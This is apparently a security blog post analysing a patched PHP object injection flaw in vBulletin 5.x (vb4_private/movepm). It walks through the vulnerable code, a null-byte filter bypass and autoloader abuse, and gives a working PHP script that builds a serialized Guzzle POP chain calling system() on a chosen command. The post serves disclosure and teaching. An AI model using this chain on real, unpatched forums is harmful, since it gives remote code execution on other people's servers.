Exploiting an N-day vBulletin PHP Object Injection Vulnerability

vBulletin is one of the most popular proprietary forum solutions over the Internet. It is used by some major websites, and according to the BuildWith website, vBulletin currently ranks at the second place on the Forum Software Usage Distribution in the Top 1 Million Sites, with over 2.000 websites using it among the “top 1 million”. vBulletin is also known for some famous 0-day Remote Code Execution (RCE) vulnerabilities that led to significant data breaches in 2019 and 2020. These are presumably the most famous, but it does boast a long history of security vulnerabilities. However, the one we are going to detail in this blog post should be an unknown and silently patched vulnerability that was fixed on July 2019 with the release of version 5.5.3. I’ve decided to write this blog post because I think it might be interesting to show the “magic” and potential of PHP Object Injection vulnerabilities… Let’s dig into it!

• Vulnerability details:

The vulnerability exists in all 5.x versions prior to 5.5.3, and can be exploited by registered users to inject arbitrary PHP objects into the application scope, allowing them to eventually execute arbitrary PHP code (RCE). The vulnerable code is located within the vB_Api_Vb4_private::movepm() method, which is defined in the /core/vb/api/vb4/private.php script:

19class vB_Api_Vb4_private extends vB_Api
21    public function movepm($messageids, $folderid)
22    {
23        $cleaner = vB::getCleaner();
24        $messageids = $cleaner->clean($messageids, vB_Cleaner::TYPE_STR);
25        $folderid = $cleaner->clean($folderid, vB_Cleaner::TYPE_UINT);
27        $userid =  vB::getCurrentSession()->get('userid');
28        $folders = vB_Api::instance('content_privatemessage')->fetchFolders($userid);
29        if ($folders === null OR !empty($folders['errors']) OR empty($folders['systemfolders']))
30        {
31            return vB_Library::instance('vb4_functions')->getErrorResponse($folders);
32        }
34        switch($folderid)
35        {
36            case -1:
37                $folderid = $folders['systemfolders']['sent_items'];
38                break;
39            case 0:
40                $folderid = $folders['systemfolders']['messages'];
41                break;
42            default:
43                // otherwise, assume it's custom folder and folderid is valid.
44                break;
45        }
50        if (empty($messageids) || empty($folderid))
51        {
52            return array('response' => array('errormessage' => array('invalidid')));
53        }
55        $pm = unserialize($messageids);
57        if (empty($pm))
58        {
59            return array('response' => array('errormessage' => array('invalidid')));
60        }

This is pretty straightforward and easy to spot: user input passed through the “messageids” request parameter to the /ajax/api/vb4_private/movepm route will be used without proper validation in a call to the unserialize() PHP function at line 55. As such, a malicious user might be able to send a specially crafted serialized string (POP chain) that will result in an arbitrary PHP object(s) injection into the application scope, allowing them to carry out a variety of attacks, such as executing arbitrary PHP code. Let’s see how an attacker might be able to execute arbitrary PHP code…

• Building the POP chain:

First thing to take into account: as we can see from the above code snippet, at line 24 the “messageids” parameter is validated through the vB_Cleaner::clean() method, which will strip out any occurrence of the null character from the string. That means we have to bypass this validation if our POP chain contains any private/protected property, which is our case. It is possible to bypass this restriction by changing any occurrence of ‘s:’ with ‘S:’ and any occurrence of null characters with ‘\00′ within the serialized string. So our first obstacle is circumvented, let’s move on!

Probably there are a number of ways to achieve arbitrary PHP code execution by making a POP chain leveraging classes defined within the vBulletin codebase, and this is the one I found… Well, actually I haven’t found anything new, because the first thing I noticed is that vBulletin includes Guzzle in its codebase, which has a publicly documented RCE POP chain. Before moving forward, we will see how this POP chain works: the class used to start the POP chain is GuzzleHttp\Psr7\FnStream, that’s because of its destructor method:

48public function __destruct()
50    if (isset($this->_fn_close)) {
51        call_user_func($this->_fn_close);
52    }

This method will call the call_user_func() PHP function at line 51, passing as argument the value of the _fn_close property. Since this property can arbitrarily be set in our POP chain, it is possible to invoke any callback we want, i.e. a method of an arbitrary object. Indeed, the publicly documented Guzzle POP chain uses this to call the GuzzleHttp\HandlerStack::resolve() method:

191public function resolve()
193    if (!$this->cached) {
194        if (!($prev = $this->handler)) {
195            throw new \LogicException('No handler has been specified');
196        }
198        foreach (array_reverse($this->stack) as $fn) {
199            $prev = $fn[0]($prev);
200        }
202        $this->cached = $prev;
203    }
205    return $this->cached;

Here at line 199 will be called the callback contained within the $fn[0] variable, which is controllable through the stack private property. We can also control the argument passed to the callback by manipulating the handler private property. So you might think we are done: just use a PHP function like system as callback (by setting the stack property accordingly), and the OS command we want to execute as argument (by setting the handler property).

Well, not so fast, because here it comes another problem we have to circumvent: if you try to deserialize the aforementioned Guzzle classes in the injection point, you will realize the deserialization will fail because you’ll get __PHP_Incomplete_Class objects. That’s because those Guzzle classes, which are defined within the /core/packages/googlelogin/vendor/guzzlehttp/ directory, are not yet included by the application, and there’s no registered class autoloader which will automatically include them upon deserialization. The autoloading mechanism we require is defined by including the /core/packages/googlelogin/vendor/autoload.php script, so we need to find a way to include this file in order to successfully deserialize the Guzzle classes needed for our POP chain. This is possible thanks to the vB::autoload() method, defined in the /core/vb/vb.php script:

343public static function autoload($classname, $load_map = false, $check_file = true)
345    if (!$classname)
346    {
347        return;
348    }
350    self::$autoloadInfo[$classname] = array(
351        'loader' => 'core',
352    );
354    $filename = false;
355    $fclassname = strtolower($classname);
357    if (preg_match('#\W#', $fclassname))
358    {
359        return;
360    }
362    if (isset($load_map[$classname]))
363    {
364        $filename = $load_map[$classname];
365    }
366    else if (isset(self::$load_map[$classname]))
367    {
368        $filename = self::$load_map[$classname];
369    }
370    else
371    {
372        $segments = explode('_', $fclassname);
374        switch($segments[0])
375        {
376            case 'vb':
377                $vbPath = true;
378                $filename = VB_PATH;
379                break;
380            case 'vb5':
381                $vbPath = true;
382                $filename = VB5_PATH;
383                break;
384            default:
385                $vbPath = false;
386                $filename = VB_PKG_PATH;
387                break;
388        }
390        if (sizeof($segments) > ($vbPath ? 2 : 1))
391        {
392            $filename .= implode('/', array_slice($segments, ($vbPath ? 1 : 0), -1)) . '/';
393        }
395        $filename .= array_pop($segments) . '.php';
396    }
398    // Include the required class file
399    if ($filename)
400    {
401        self::$autoloadInfo[$classname]['filename'] = $filename;
402        if ($check_file AND !file_exists($filename))
403        {
404            return;
405        }
406        require($filename);
408        self::$autoloadInfo[$classname]['loaded'] = true;
409    }

If the name of the class which will be autoloaded does not start with “vb” or “vb5″, it will try to include the class definition from the /core/packages directory (line 386 above, that’s the value of the VB_PKG_PATH constant). This is exactly what we need: by sending a fake object in our POP chain – having googlelogin_vendor_autoload as class name – it might be possible to include the /core/packages/googlelogin/vendor/autoload.php script into the execution flow, which in turn will register the class autoloader for those Guzzle classes. This is possible by e.g. serializing an array of two elements: the first should be an instance of our fake class name, while the second element should be our Guzzle POP chain.

• Putting It All Together:

 1class googlelogin_vendor_autoload {} // fake class to include the autoloader
 3class GuzzleHttp_HandlerStack
 5    private $handler, $stack;
 7    function __construct($cmd)
 8    {
 9        $this->stack = [['system']]; // the callback we want to execute
10        $this->handler = $cmd; // argument for the callback
11    }
14class GuzzleHttp_Psr7_FnStream
16    function __construct($callback)
17    {
18        $this->_fn_close = $callback;
19    }
22$pop = new GuzzleHttp_HandlerStack('touch pwned'); // the command we want to execute
23$pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);
25$chain = serialize([new googlelogin_vendor_autoload, $pop]);
27$chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain);
28$chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain);
29$chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain);
30$chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain);
32print $chain;

Here you can find a full working Proof of Concept (PoC) script for this vulnerability. It’s a PHP script supposed to be used from the command line (CLI), and you should see an output like the following:


This was just an exercise for me, but I think it was worth posting this blog post because it shows how powerful PHP Object Injection vulnerabilities can be. Sometimes, depending on the target application, it might also be possible to abuse them to include arbitrary PHP files into the application execution flow by abusing class autoloading mechanisms. This can represent a security risk itself, because it might lead to Local File Inclusion (LFI) vulnerabilities. However, as we seen while exploiting this vBulletin vulnerability, this might also be very helpful to include the classes we want to use in our POP chain.